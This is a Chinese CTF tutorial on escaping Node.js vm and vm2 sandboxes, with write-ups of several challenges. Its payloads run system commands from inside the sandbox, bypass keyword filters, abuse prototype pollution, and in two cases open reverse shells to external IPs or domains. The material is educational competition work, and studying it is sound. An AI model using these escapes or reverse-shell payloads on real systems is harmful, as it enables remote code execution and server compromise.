CTF题型 nodejs(2) Js沙盒逃逸原理&典型例题
文章目录
- CTF题型 nodejs(2) Js沙盒逃逸原理&典型例题
- 一.vm原理以及逃逸
- 1.基本用法
- 2.如何逃逸汇总
- 1)this为对象
- 2)this为null( Object.create(null))
- a .可用输出直接触发toString方法
- b.调用属性触发
- 3)Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出
- 二.vm2原理以及逃逸
- 1.基本用法
- 2.如何逃逸
- 1.Github issue参考
- 2.原型链污染实现逃逸
- 三.例题
- 1.[HITCON 2016]Leaking
- 2.BUUCTF-[HFCTF2020]JustEscape
- fuzz字典编写
- 3.[GKCTF 2020]ez三剑客-easynode
- 4.[HZNUCTF 2023 final]eznode
- 5.[2023 0xGame **ez_sandbox**]
- 6.[2024 nkctf 最简单的CTF题]
- `${}`拼接的字符串汇总
vm
模块提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码
逃逸定义:通过某种方式拿到沙箱外的 global.process
就算成功
本质上是拿到沙箱外的对象实现global.process.mainModule.require("child_process").execSync("whoami").toString()
实现RCE
结合命令执行的多种绕过
上篇文章做了一个命令执行的绕过小总结
一.vm原理以及逃逸
1.基本用法
官网给出vm例子:
如何创建一个基本的VM沙箱
const vm = require('vm'); const x = 1; const sandbox = { x: 2 }; vm.createContext(sandbox); // Contextify the sandbox. const code = 'x += 40; var y = 17;'; // x and y are global variables in the sandboxed environment. // Initially, x has the value 2 because that is the value of sandbox.x. vm.runInContext(code, sandbox); console.log(sandbox.x); // 42 console.log(sandbox.y); // 17 console.log(x); // 1; y is not defined.
复制
通过 vm.createContext(sandbox);
创建沙箱环境
vm.runInContext(code, sandbox);
在沙箱中运行
通过sandbox的属性访问沙箱的属性sandbox.x
这里的Context可以简单理解为上下文(虚拟机)
2.如何逃逸汇总
可以通过this+constructor 实现 沙箱逃逸
在沙箱中this
返回当先的 sandbox
环境
this指向的是当前传递给runInNewContext
的对象,这个对象是不属于沙箱环境
1)this为对象
我们需要做的其实就是寻找一个连接 '沙箱’和’真实环境’的来连接通道
通过constructor
可以不断向上寻找构造器
可以拿到Object
可以拿到Function 通过Functio可以返回global.process
const vm = require('vm'); const sandbox = {'x':1 }; vm.createContext(sandbox); const code = ` p=this.constructor.constructor("return process")(); res=p.mainModule.require("child_process").execSync("whoami").toString(); `; res=vm.runInContext(code, sandbox); console.log(res);
复制
可以实现任意命令
2)this为null( Object.create(null))
a .可用输出直接触发toString方法
类似
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); //this 无法取到global的环境 const context = vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)//进行直接输出结果触发toString()方法
复制
逃逸使用arguments.callee.caller
,可以返回函数的调用者(返回沙箱外的一个对象)
原理分析:https://xz.aliyun.com/t/11859
payload:
const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
复制
b.调用属性触发
利用Proxy代理劫持属性,访问任意属性触发
const vm = require("vm"); const script = ` (() =>{ const a = new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) return a })() `; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.abc)
复制
3)Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出
比如
try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message })
复制
没有对result输出,但是存在 try-catch结构,可以catch抛出的异常而且进行输出
payload:
const vm = require("vm"); const script = ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); //p可以得到global.process对象 return p.mainModule.require('child_process').execSync('whoami').toString(); } }) `; try { vm.runInContext(script, vm.createContext(Object.create(null))); }catch(e) { console.log("error:" + e) }//输出异常
复制
单行版–便于本地调试用 ` 调试
const vm = require("vm"); const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();return p.mainModule.require('child_process').execSync('whoami').toString();}})"; try { vm.runInContext(script, vm.createContext(Object.create(null))); }catch(e) { console.log("error:" + e) }//输出异常
复制
二.vm2原理以及逃逸
vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__
这些属性的访问
1.基本用法
const {VM, VMScript} = require('vm2'); const script = new VMScript("let a = 2;a;"); console.log((new VM()).run(script));
复制
区分vm和vm2
1.require的包不同
2.代码编写结构不同
不要vm和vm2傻傻分不清
2.如何逃逸
1.Github issue参考
建议直接参考github上的issue
比如:最新的利用是vm2@3.9.15 截止2024年3月
具体原理:https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
CVE——payload: 对应我们打CTF而言会改写就可以了
const {VM} = require("vm2"); const vm = new VM(); const code = ` aVM2_INTERNAL_TMPNAME = {}; function stack() { new Error().stack; stack(); } try { stack(); } catch (a$tmpname) { a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString(); } ` console.log(vm.run(code));
复制
可以实现vm2逃逸
但是实际比赛还是大概率考经典的vm2逃逸 vm2@3.8.3
https://github.com/patriksimek/vm2/issues/225
const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
复制
(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } })()
复制
同时还可以考虑原型链污染实行vm2逃逸
2.原型链污染实现逃逸
let res = import('./app.js'); res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
复制
通过已知源码位置实现返回global
三.例题
1.[HITCON 2016]Leaking
开题直接给了源码
var randomstring = require("randomstring"); var express = require("express"); var { VM } = require("vm2"); var fs = require("fs"); var app = express(); var flag = require("./config.js").flag app.get("/", function(req, res) { res.header("Content-Type", "text/plain"); /* Orange is so kind so he put the flag here. But if you can guess correctly :P */ eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";") if (req.query.data && req.query.data.length <= 12) { var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); } else { res.send(fs.readFileSync(__filename).toString()); } }); app.listen(3000, function() { console.log("listening on port 3000!"); });
复制
这里payload要求小于12的长度
这里如何得到vm2的版本?但是一定是远古版本
参考:https://blog.csdn.net/a3320315/article/details/104217972
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
可以利用Buffer读取内存信息 可以编写poc
import requests import time url ="http://42d8ea9d-6466-4095-8521-a5bb1f162fa5.node5.buuoj.cn:81/?data=Buffer(888)" while True: res=requests.get(url=url) if 'hitcon' in res.text: print("Get a flag"+res.text) break
复制
可以读到内存中的信息
2.BUUCTF-[HFCTF2020]JustEscape
https://buuoj.cn/challenges#[HFCTF2020]JustEscape
考虑后端为nodejs,不是php,不要被迷惑了
/run.php?code=Error().stack
使它报错
判断是vm2逃逸
不知道过滤了什么
fuzz字典编写
网上好像没有公开的fuzz字典,可以自己写个fuzz字典
require const function Function stack try catch $ run new get . " ' ` = eval for while process spawn spawnSync exec execSync [ ] [] constructor prototype + , fs sh x flag proxy Proxy __proto__ { } stack {} mainModule toString child_process _load Object.values 5 9 31 Reflect ownKeys includes startsWith Reflect.get Reflect.ownKeys find form Buffer
复制
发现禁止了Function,process,while,for,",',+,exec,prototype,construtor
尝试改写 前面提到的vm2逃逸代码
(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } })()
复制
constructor,process,',"
被禁止
思路简单一点:考虑编码绕过 比如16进制绕过
先在本地打通payload
payload:
const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
复制
禁止了Function,process,while,for,",',+,exec,prototype,construtor
实际利用payload
(function(){ TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString(); } })()
复制
可以执行任意命令
当然比赛中 常用的 也用模板字符拼接也是可以的
(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()
复制
3.[GKCTF 2020]ez三剑客-easynode
和vm逃逸无关,safer-eval逃逸
https://github.com/commenthol/safer-eval/issues/10
const saferEval = require("./src/index"); const theFunction = function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("whoami").toString() }; const untrusted = `(${theFunction})()`; console.log(saferEval(untrusted));
复制
4.[HZNUCTF 2023 final]eznode
访问app.js拿源码
const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
复制
典型的JS原型链污染
const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }
复制
污染{}
没有做任何过滤
const clone = (a) => { return merge({}, a); }
复制
保证copybody.shit=1
触发backdoor()
可以看出来出题人当时比较暴躁
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
复制
污染{}.shellcode
为我们的逃逸代码
构造代码 {"shit":1,"__proto__":{"shellcode":"payload"}}
将vm2逃逸经典poc修改一下
(function(){ TypeError.prototype.get_process = f=>f.constructor(`return process`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require(`child_process`).execSync(`whoami`).toString(); } })()
复制
payload1:
{"shit":1,"__proto__":{"shellcode":"(function(){TypeError.prototype.get_process = f=>f.constructor('return process')();try{Object.preventExtensions(Buffer.from('')).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require('child_process').execSync('ping lepywntkle.dgrh3.cn').toString();}})()"}}
复制
不理解CVE为什么没有打通
换成原型链污染 反弹sh
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1'\").toString();"}}
复制
可以成功反弹shell
5.[2023 0xGame ez_sandbox]
这道题给了源码
const crypto = require('crypto') const vm = require('vm'); const express = require('express') const session = require('express-session') const bodyParser = require('body-parser') var app = express() app.use(bodyParser.json()) app.use(session({ secret: crypto.randomBytes(64).toString('hex'), resave: false, saveUninitialized: true })) var users = {} var admins = {} function merge(target, source) { //污染函数 for (let key in source) { if (key === '__proto__') { continue } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } return target } function clone(source) { //调用污染函数点 return merge({}, source) } function waf(code) { let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork'] for (let v of blacklist) { if (code.includes(v)) { throw new Error(v + ' is banned') } } } function requireLogin(req, res, next) { if (!req.session.user) { res.redirect('/login') } else { next() } } app.use(function(req, res, next) { for (let key in Object.prototype) { delete Object.prototype[key] } next() }) app.get('/', requireLogin, function(req, res) { res.sendFile(__dirname + '/public/index.html') }) app.get('/login', function(req, res) { res.sendFile(__dirname + '/public/login.html') }) app.get('/register', function(req, res) { res.sendFile(__dirname + '/public/register.html') }) app.post('/login', function(req, res) { let { username, password } = clone(req.body) if (username in users && password === users[username]) { req.session.user = username if (username in admins) { req.session.role = 'admin' } else { req.session.role = 'guest' } res.send({ 'message': 'login success' }) } else { res.send({ 'message': 'login failed' }) } }) app.post('/register', function(req, res) { let { username, password } = clone(req.body) if (username in users) { res.send({ 'message': 'register failed' }) } else { users[username] = password res.send({ 'message': 'register success' }) } }) app.get('/profile', requireLogin, function(req, res) { res.send({ 'user': req.session.user, 'role': req.session.role }) }) app.post('/sandbox', requireLogin, function(req, res) { if (req.session.role === 'admin') { let code = req.body.code let sandbox = Object.create(null) let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message }) } } else { res.send({ 'result': 'Your role is not admin, so you can not run any code' }) } }) app.get('/logout', requireLogin, function(req, res) { req.session.destroy() res.redirect('/login') }) app.listen(3000, function() { console.log('server start listening on :3000') })
复制
存在典型的JS原型链污染
function merge(target, source) { //污染函数 for (let key in source) { if (key === '__proto__') { continue } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } return target }
复制
但是过滤了__proto__
可以用constructor.prototype
代替
我们在/register注册用户后,发现权限不足,无法直接运行js代码
我们要想办法是admin权限
register
和login
都调用了clone()函数 可以进行污染
先注册一个账号 1,1
在登录处进行污染
{"username":"1","password":"1","construtor":{"prototype":{"1":"1"}}}
可以成功将权限转换为admin,现在进行VM逃逸
const vm = require('vm');
可以判断是vm逃逸
禁止了一些关键词
function waf(code) { let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork'] for (let v of blacklist) { if (code.includes(v)) { throw new Error(v + ' is banned') } } }
复制
VM逃逸类型
上文提到的Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出
app.post('/sandbox', requireLogin, function(req, res) { if (req.session.role === 'admin') { let code = req.body.code let sandbox = Object.create(null) let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message }) } } else { res.send({ 'result': 'Your role is not admin, so you can not run any code' }) } })
复制
但是捕获了异常
改写一下前面的payload即可
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } })
复制
简单用+号拼接即可绕过
throw new Proxy({}, { get: function(){ const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); } })
复制
直接可以拿到flag
补充:官方的做法
vm逃逸的方法
这道题官方wp已经说的非常清楚了
// method 1 throw new Proxy({}, { // Proxy 对象用于创建对某一对象的代理, 以实现属性和方法的拦截 get: function(){ // 访问这个对象的任意一个属性都会执行 get 指向的函数 const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); } }) // method 2 let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数 obj.__defineGetter__('message', function(){ const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString(); }) throw obj // 或者模板字符串 throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc[`${`constructo`}r`][`${`constructo`}r`](`return ${`proces`}s`))(); return p[`${`mainModul`}e`][`${`requir`}e`]('child_pr'+'ocess')[`${`exe`}cSync`}`]('id').toString(); } });
复制
6.[2024 nkctf 最简单的CTF题]
当时以为是黑盒,环境好像也有点问题,字典太小,我服了我自己了…还是太菜了
下次开题先用dirsearch字典扫一遍再说
和上题非常类似,就是多过滤了一些符号
/secret源码
const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const fs = require("fs"); const path = require('path'); const vm = require("vm"); app .use(bodyParser.json()) .set('views', path.join(__dirname, 'views')) .use(express.static(path.join(__dirname, '/public'))) app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); }) function waf(code) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; if(code.match(pattern)){ throw new Error("what can I say? hacker out!!"); } } app.post('/', function (req, res){ let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code) let result = vm.runInContext(code, context); console.log(result); } catch (e){ console.log(e.message); require('./hack'); } }) app.get('/secret', function (req, res){ if(process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } }) app.listen(3000, ()=>{ console.log("listen on 3000"); })
复制
vm逃逸+Object.create(null)+沙箱的返回值返回无法利用输出/根本不输出
直接将异常抛出触发
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } })
复制
过滤关键词
-
process
: 匹配字符串 “process”。 -
\[.*?\]
: 匹配任何在方括号[]
内的内容,如[abc]
或[123]
。这里使用了非贪婪匹配,所以它会尽可能少地匹配方括号内的内容。 -
exec|spawn
: 匹配字符串 “exec” 或 “spawn”。 -
Buffer
: 匹配字符串 “Buffer”。 -
\\
: 匹配反斜杠字符\
。 -
\+
: 匹配加号字符+
。 -
concat
: 匹配字符串 “concat”。 -
eval
: 匹配字符串 “eval”。 -
Function
: 匹配字符串 “Function”。
考虑拼接字符串 \
被禁编码用不了,concat
不能拼接,可以考虑模板字符串${}
拼接
上篇文章总结过,复制一下
${}
拼接的字符串汇总
这里总结一下${}
拼接的字符串,以便快速使用
process `${`${`proce`}ss`}` prototype `${`${`prototyp`}e`}` get_process `${`${`get_pro`}cess`}` require `${`${`requir`}e`}` execSync `${`${`exe`}cSync`}` return process `${`${`return proc`}ess`}` constructor `${`${`constructo`}r`}` child_process `${`${`child_proces`}s`}`
复制
可以参考上题的payload,同时[]
被禁止了
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } })
复制
参考上篇文章用Reflect.get()
绕过中括号限制
通过Reflect.get(对象,属性)
拿到对象的属性
可以简单改一下
const vm = require("vm"); const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami');return res.toString();}})"; try { vm.runInContext(script, vm.createContext(Object.create(null))); }catch(e) { console.log("error:" + e) }
复制
可以成功执行系统命令
构造payload
throw new Proxy({}, { get: function(){const cc = arguments.callee.caller; const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))(); chi=p.mainModule.require(`${`${`child_proces`}s`}`); res=Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami'); return res.toString();}})
复制
可以实现绕过过滤
本地打通官方没有放docker
看看网上其他师傅的WP
直接replace简洁不少,也是可以的
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return procAess'.replace('A','')))(); const obj = p.mainModule.require('child_procAess'.replace('A','')); const ex = Object.getOwnPropertyDescriptor(obj,'exeAcSync'.replace('A','')); return ex.value('bash -c "bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1"').toString(); } })
复制